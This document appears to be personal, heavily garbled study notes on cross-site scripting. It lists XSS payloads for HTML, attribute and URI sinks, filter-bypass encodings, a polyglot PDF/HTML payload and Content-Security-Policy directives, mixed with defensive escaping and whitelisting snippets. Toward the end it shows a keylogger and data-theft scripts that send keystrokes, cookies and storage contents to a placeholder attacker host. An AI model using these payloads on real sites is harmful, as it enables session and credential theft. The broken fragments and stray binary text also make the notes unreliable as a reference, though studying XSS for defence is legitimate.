Cross site scripting(XSS) allows an attacker to get a victim to run malicious code on their browser while looking like it came from a legitimate source.
There are 2 type of XSS attacks.
<
s to <
) vs HTML sanitization(Allowing some html elements, but not all)%PDF-1.4
%äüöÃ
2 0 obj
<</Length 3 0 R/Filter/FlateDecode>>
stream
x=Ë
1E÷ù»v¶é´0è~ àø
R
R<h1>This is NOT a PDF!</h1> <img src=x onerror=alert(document.cookie)>
?
in front?
<a href="?myinput&page=2">
<a href="?javascript:alert();//&page=2">
, but that didn’t work?
that’s in front"
s because it was being URL encodedDangling markup injections?
The URL
https://insecure-website.com/?parameter=<script>print()</script>
Possible html output
<p><script>print()</script></p>
#
s in the URL) can be used by the client to change the DOM.<script>print()</script>
<img src onerror=print()>
<a href="javascript:print()">
Common payload content
print()
alert()
confirm()
prompt()
console.log()
print``
instead of print()
<p>userInput</p>
In order to perform an attack on this sink you can:
<p><script>print()</script></p>
In order to prevent this any <
s should be filtered out
userInput = userInput.replaceAll("<", "<")
<
<a src="userInput">Link</a>
<input value="userInput">
In order to perform an attack on this sink you can:
<a src="javascript:print()">Link</a>
<a src="" onclick=print()>Link</a>
<a src="" ></a><script>print()</script><a>Link</a>
<script src="data:text/plain,alert()"></script>
This does an alert
In order to prevent this any <
s and "
s should be filtered out and there should be a whitelist of URIs.
userInput = userInput.replaceAll("<", "<").replaceAll('"', """)
function isSafeUrl(url) {
const allowedSchemes = ['http:', 'https:', 'mailto:'];
const urlObj = new URL(url);
return allowedSchemes.includes(urlObj.protocol);
}
const userInputUrl = "javascript:alert('xss')";
if (isSafeUrl(userInputUrl)) {
console.log('URL is safe');
} else {
console.log('URL is not safe');
}
src
, href
, action
, data
, formaction
, poster
, manifest
, ping
, cite
, usemap
<button onclick="javascript:print()">
<input value="userInput">
javascript:print()
data:[<mediatype>][;base64],<data>
data:image/svg+xml;utf8,<svg content>
data:text/html;base64,PHNjcmlwdD5wcmludCgpPC9zY3JpcHQ+
data:text/html,<script>print()</script>
vbscript:MsgBox('XSS')
or vbscript:msgbox('XSS')
livescript:[code]
In order to prevent URI attacks there should be a whitelist of acceptable URIs and not a blacklist.
jAvAsCrIpT:
, javas%09cript:
, javas]]<![CDATA[cript:
, javascript:javascript:
%09
, %00
, %20
, %10
, or \0
?javascript:
does not workhttp
, https
, ftp
, ftps
, mailto
, news
, irc
, gopher
, nntp
, feed
, telnet
, mms
, rtsp
, svn
, tel
, fax
, xmpp
let uriWhitelist = ["http://", "https://"]
let validUserInput = false
for(const uri of uriWhitelist){
if(userInput.startsWith(uri)){
validUserInput = true
break
}
}
<a src="?javascript:print()">Link</a>
does not work
Javascript evaluates functions that are inside other function and there is no limit to the amount of arguments.
startTimer('userInput')
you can do user input of ', alert(), '
resulting in startTimer('', alert(), '')
and the alert will be rand first.How do you find these? - Searching in the js code takes a while - Does Burp’s DOM Injection find all of them?
const params = new URLSearchParams(window.location.search)
const param1 = params.get('param1')
const param2 = params.get('param2')
#
)
document.URL
, document.documentURI
, document.baseURI
window.location
, document.location
, location
location.hash
to get fragment identifiers(#
).parseParams()
$("element").html("innerHtml")
Avoid using element.innerHTML = userInput;
and instead use element.innerText = userInput;
- This doesn’t work if the element is a script?
- Not very common
- Have to escape the "s
- Inject another key and value
- Can you also execute javascript of html?
dangerouslySetInnerHTML
<input value="userInput">
to prevent URI attacks(Still need to search and replace).Content-Security-Policy:
or Content-Security-Policy-Report-Only:
Example:
Content-Security-Policy: script-src 'self' https://www.example.com; report-uri 'https://www.example.com';
[ Header ][ Name ][Source][ Source 2 ][ Name ][ Source ]
[ Directive ][ Directive ]
[ Value ]
Resources/Fetch directives
| Directive Name | Description |
|—————–|—————————————————————————–|
| default-src | Sets the default policy for undefined names |
| script-src | Specifies valid sources for script elements. Javascript |
| style-src | Specifies valid href
s for link elements. CSS |
| img-src | Specifies valid src
s for img elements. |
| connect-src | |
| font-src | Specifies valid sources for fonts |
| object-src | Specifies valid sources for object, embed, and applet elements |
| media-src | Specifies valid sources for audio, and video elements |
| frame-src | Specifies valid sources for iframe elements |
| child-src | |
| worker-src | Specifies valid sources for Worker, SharedWorker, and ServiceWorker scripts |
| manifest-src | Valid sources for web manifests |
| frame-ancestors | |
| form-action | Specifies valid actions for form submissions |
| base-uri | Specifies sources for base elements |
Document Directives | plugin-types | Specifies the plugins for the application | | sandbox | |
Reporting Directives | report-uri | | | report-to | |
Other Directives | block-all-mixed-content | Blocks http when the page is https | | upgrade-insecure-requests | | | require-sri-for | |
Does block-all-mixed-content block https when the page is http?
What are directives?
;
s
What are names?
Source | Description |
‘self’ | The source of the same origin as the document itself |
‘none’ | Disallows any sources |
‘unsafe-inline’ | Allows inline resources such as javascript or the style attribute |
‘unsafe-eval’ | |
‘strict-dynamic’ | |
‘wasm-unsafe-eval’ |
Can distinguish between legitimate inputs and injected JS code
<script src="">
or <link href="">
nonce
attribute
// On the server
let jsCode = `
console.log("Testing nonce")
`
<script
nonce={hash(jsCode, password)}
dangerouslySetInnerHTML=
></script>
alert()
<script>
javascript:
()
s
See XXS Tests
window.location='https://malicious-site.com?info=' + info
<a href="https://www.youtube.com/" onmouseover="window.location='https://malicious-site.com?info=' + info">Youtube</a>
fetch
because it’s blocked by CORSdocument.addEventListener('keydown', (event) => {
const script = document.createElement('script');
script.src = 'http://malicious-site.com/?key=' + encodeURIComponent(event.key);
document.body.appendChild(script);
});
escape(document.cookie)
escape
URL encodes the cookie so it can be sent through the URLescape(JSON.stringify(localStorage))
or escape(JSON.stringify(sessionStorage))
<script>window.onload=function(){
document.getElementByName('comment')[0].innerHTML='Comment';document.getElementById('theform').submit();
document.getElementById('theform').action='https://malicious-site.com'
}</script>
"
\u0022
\x22
Symbol | HTML name | HTML code | URL |
---|---|---|---|
% |
% |
%25 |
|
" |
" |
" |
%22 |
& |
& |
& |
%26 |
' |
' |
' |
%27 |
< |
< |
< |
%3C |
> |
> |
> |
%3E |
\ |
\ |
%5C |
|
# |
# |
%23 |
|
? |
? |
%3F |